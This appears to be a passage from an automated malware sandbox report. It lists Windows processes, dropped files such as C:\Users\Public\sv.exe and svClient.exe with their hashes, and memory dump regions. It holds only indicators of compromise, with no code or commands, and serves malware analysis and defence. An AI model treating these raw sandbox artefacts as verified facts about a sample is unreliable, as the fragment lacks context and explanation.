                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                  1⤵
                                                                                                                                    PID:228
                                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                    1⤵
                                                                                                                                      PID:1672
                                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:436
                                                                                                                                      • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                                        1⤵
                                                                                                                                          PID:1528

                                                                                                                                        Network

                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                        Replay Monitor

                                                                                                                                        Loading Replay Monitor...

                                                                                                                                        Downloads

                                                                                                                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                          Filesize

                                                                                                                                          328B

                                                                                                                                          MD5

                                                                                                                                          c8e7d4b3f61a75f8c16f4d4c16102274

                                                                                                                                          SHA1

                                                                                                                                          b74dc3888190e363dd51d426f0cabeb8b9f113bd

                                                                                                                                          SHA256

                                                                                                                                          ea49e265960a25bd14142cfe839edacc4c1886cab07418330b8a9056a5080916

                                                                                                                                          SHA512

                                                                                                                                          ceb8356a440b5a865ac49b267f29f2503216edb945b58b04915cb5f685c5a65424e24281697289a265d87bd70f644e688c6a8a3c29ec188d254fbde5e3f4bda2

                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svClient.exe.log

                                                                                                                                          Filesize

                                                                                                                                          859B

                                                                                                                                          MD5

                                                                                                                                          e204f3d12abd1691ce1f149399441188

                                                                                                                                          SHA1

                                                                                                                                          798042095539abfe857e456fca4e1035f67d29bf

                                                                                                                                          SHA256

                                                                                                                                          685f70bf685f654651dcd0acc495b6f52f02f73cc3ca8b3d2c8433aac9ba144d

                                                                                                                                          SHA512

                                                                                                                                          804c5ea57a59f86fd0c34479be4c479230bff79093548e8461758829928969da565c211ccc9cb9befa0fef15f0400a5b1f17d5ddf88aef6ff01b67a191176b9f

                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          3d086a433708053f9bf9523e1d87a4e8

                                                                                                                                          SHA1

                                                                                                                                          b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

                                                                                                                                          SHA256

                                                                                                                                          6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

                                                                                                                                          SHA512

                                                                                                                                          931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                          Filesize

                                                                                                                                          18KB

                                                                                                                                          MD5

                                                                                                                                          835f118fcf6d7434f00e99ed06727ae9

                                                                                                                                          SHA1

                                                                                                                                          a19615ec0ca9fae03592e8afb83a8bbf99fae119

                                                                                                                                          SHA256

                                                                                                                                          459097868c59c211efc057d9986b199be96a7f5ffd605ac14a85cdb523574019

                                                                                                                                          SHA512

                                                                                                                                          649eb23f6400e2001d0776883054b1062e31116bab8cd82e6cfe8e95687f7db9a2e1c7e05d0d7daa1aa70d8f83a541a321fc98d57cc406f31868743b033b2634

                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mpj11x1.yvc.ps1

                                                                                                                                          Filesize

                                                                                                                                          60B

                                                                                                                                          MD5

                                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                          SHA1

                                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                          SHA256

                                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                          SHA512

                                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\tmp1383.tmp.bat

                                                                                                                                          Filesize

                                                                                                                                          145B

                                                                                                                                          MD5

                                                                                                                                          22a1a949ac06f496e6601932c5aa72c3

                                                                                                                                          SHA1

                                                                                                                                          ca03112879fc18eab5178e4a17e86f128bb0cbc8

                                                                                                                                          SHA256

                                                                                                                                          5074ce1bfc5e35de8a8e2a43194b341ecec7a94d54d509aca9a9e831dc72c7ee

                                                                                                                                          SHA512

                                                                                                                                          45fb1c70473cb7af13c72960ff7c4a7d785a220c6680e566dbbbc943140e56b6269acc4508b0cb3f7394d3911ed3899582d6db8ffc9bcd83a3a906976c4939d6

                                                                                                                                        • C:\Users\Public\sv.exe

                                                                                                                                          Filesize

                                                                                                                                          163KB

                                                                                                                                          MD5

                                                                                                                                          b20e29f2b88234cda8b95b43a4fec8aa

                                                                                                                                          SHA1

                                                                                                                                          13cca52a0dc3b9b352e14688f444ad9bcb9a9f4f

                                                                                                                                          SHA256

                                                                                                                                          e2481565a6c7a26690e99f63eea8e04615f7b3d92ca4ada11e331ce1053f962a

                                                                                                                                          SHA512

                                                                                                                                          019a4afbcd4c6236c226a05b0864df4f310fb91d41847dfcd84207d276a6219f66b725f5d3f637e7049d87fc81c88b8969a3061970be505bade70f767511313a

                                                                                                                                        • C:\Users\Public\svClient.exe

                                                                                                                                          Filesize

                                                                                                                                          41KB

                                                                                                                                          MD5

                                                                                                                                          504d64de3a3ecf52cc257d723b616838

                                                                                                                                          SHA1

                                                                                                                                          725749227a5ddf0d19a08876462d18888f560cc9

                                                                                                                                          SHA256

                                                                                                                                          02df721f639ca11946fd9f5479dfcd6a183a0e1c214377619724970f66058aa3

                                                                                                                                          SHA512

                                                                                                                                          bbb9c3eb59fa596000cc554c60101907688adc6851b30252d541b176a7b312fb3019768a535ac0893102bdeed2e43fa83eb0ce9579cb0aac1f26d2b12fcaf299

                                                                                                                                        • memory/316-155-0x00000276226C0000-0x00000276226EA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/316-161-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/316-160-0x00000276226C0000-0x00000276226EA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/508-165-0x000001D6E9380000-0x000001D6E93AA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-127-0x000001C8A4110000-0x000001C8A413A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-126-0x000001C8A4110000-0x000001C8A413A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-125-0x000001C8A40E0000-0x000001C8A4105000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          148KB

                                                                                                                                        • memory/612-132-0x000001C8A4110000-0x000001C8A413A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-133-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/668-138-0x000001B990510000-0x000001B99053A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-143-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/668-142-0x000001B990510000-0x000001B99053A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-173-0x000002BB13EA0000-0x000002BB13ECA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/956-147-0x000001FD0DBD0000-0x000001FD0DBFA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/1164-64-0x00007FFD33660000-0x00007FFD34121000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/1164-16-0x0000000000370000-0x000000000037E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          56KB

                                                                                                                                        • memory/1164-15-0x00007FFD33663000-0x00007FFD33665000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          8KB

                                                                                                                                        • memory/1164-708-0x00007FFD33660000-0x00007FFD34121000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/1164-19-0x00007FFD33660000-0x00007FFD34121000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2380-854-0x000000001E910000-0x000000001E920000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/2688-22-0x0000000074EFE000-0x0000000074EFF000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/2688-54-0x0000000007550000-0x00000000075E6000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          600KB

                                                                                                                                        • memory/2688-58-0x0000000007610000-0x000000000762A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          104KB

                                                                                                                                        • memory/2688-59-0x00000000075F0000-0x00000000075F8000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/2688-50-0x00000000071A0000-0x0000000007243000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          652KB

                                                                                                                                        • memory/2688-51-0x0000000007910000-0x0000000007F8A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          6.5MB

                                                                                                                                        • memory/2688-56-0x0000000007500000-0x000000000750E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          56KB

                                                                                                                                        • memory/2688-55-0x00000000074D0000-0x00000000074E1000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          68KB

                                                                                                                                        • memory/2688-20-0x0000000004C80000-0x0000000004C90000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/2688-23-0x00000000051E0000-0x0000000005202000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          136KB

                                                                                                                                        • memory/2688-21-0x0000000004C80000-0x0000000004C90000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/2688-57-0x0000000007510000-0x0000000007524000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          80KB

                                                                                                                                        • memory/2688-17-0x0000000002680000-0x00000000026B6000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          216KB

                                                                                                                                        • memory/2688-52-0x00000000072D0000-0x00000000072EA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          104KB

                                                                                                                                        • memory/2688-18-0x00000000052C0000-0x00000000058E8000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          6.2MB

                                                                                                                                        • memory/2688-30-0x0000000005960000-0x00000000059C6000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          408KB

                                                                                                                                        • memory/2688-53-0x0000000007340000-0x000000000734A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          40KB

                                                                                                                                        • memory/2688-49-0x00000000065C0000-0x00000000065DE000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          120KB

                                                                                                                                        • memory/2688-38-0x0000000006580000-0x00000000065B2000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          200KB

                                                                                                                                        • memory/2688-26-0x00000000058F0000-0x0000000005956000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          408KB

                                                                                                                                        • memory/2688-35-0x0000000005AD0000-0x0000000005E24000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          3.3MB

                                                                                                                                        • memory/2688-36-0x0000000005F90000-0x0000000005FAE000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          120KB

                                                                                                                                        • memory/2688-37-0x0000000005FC0000-0x000000000600C000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          304KB

                                                                                                                                        • memory/2688-39-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          304KB

                                                                                                                                        • memory/3188-2-0x0000000074EF0000-0x00000000756A0000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          7.7MB

                                                                                                                                        • memory/3188-1-0x0000000000A10000-0x0000000000A18000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3188-0-0x0000000074EFE000-0x0000000074EFF000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/3188-108-0x0000000074EF0000-0x00000000756A0000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          7.7MB

                                                                                                                                        • memory/3188-63-0x0000000074EF0000-0x00000000756A0000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          7.7MB

                                                                                                                                        • memory/3188-62-0x0000000074EFE000-0x0000000074EFF000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/3520-111-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          760KB

                                                                                                                                        • memory/3520-110-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          2.0MB

                                                                                                                                        • memory/3520-109-0x000002067A520000-0x000002067A54A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/3520-96-0x000002067A3F0000-0x000002067A412000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          136KB

                                                                                                                                        • memory/3960-86-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          304KB

                                                                                                                                        • memory/3960-84-0x0000000005E60000-0x00000000061B4000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          3.3MB

                                                                                                                                        • memory/4584-122-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/4584-119-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/4584-121-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          760KB

                                                                                                                                        • memory/4584-120-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          2.0MB

                                                                                                                                        • memory/4584-113-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/4584-114-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/4584-115-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/4584-112-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB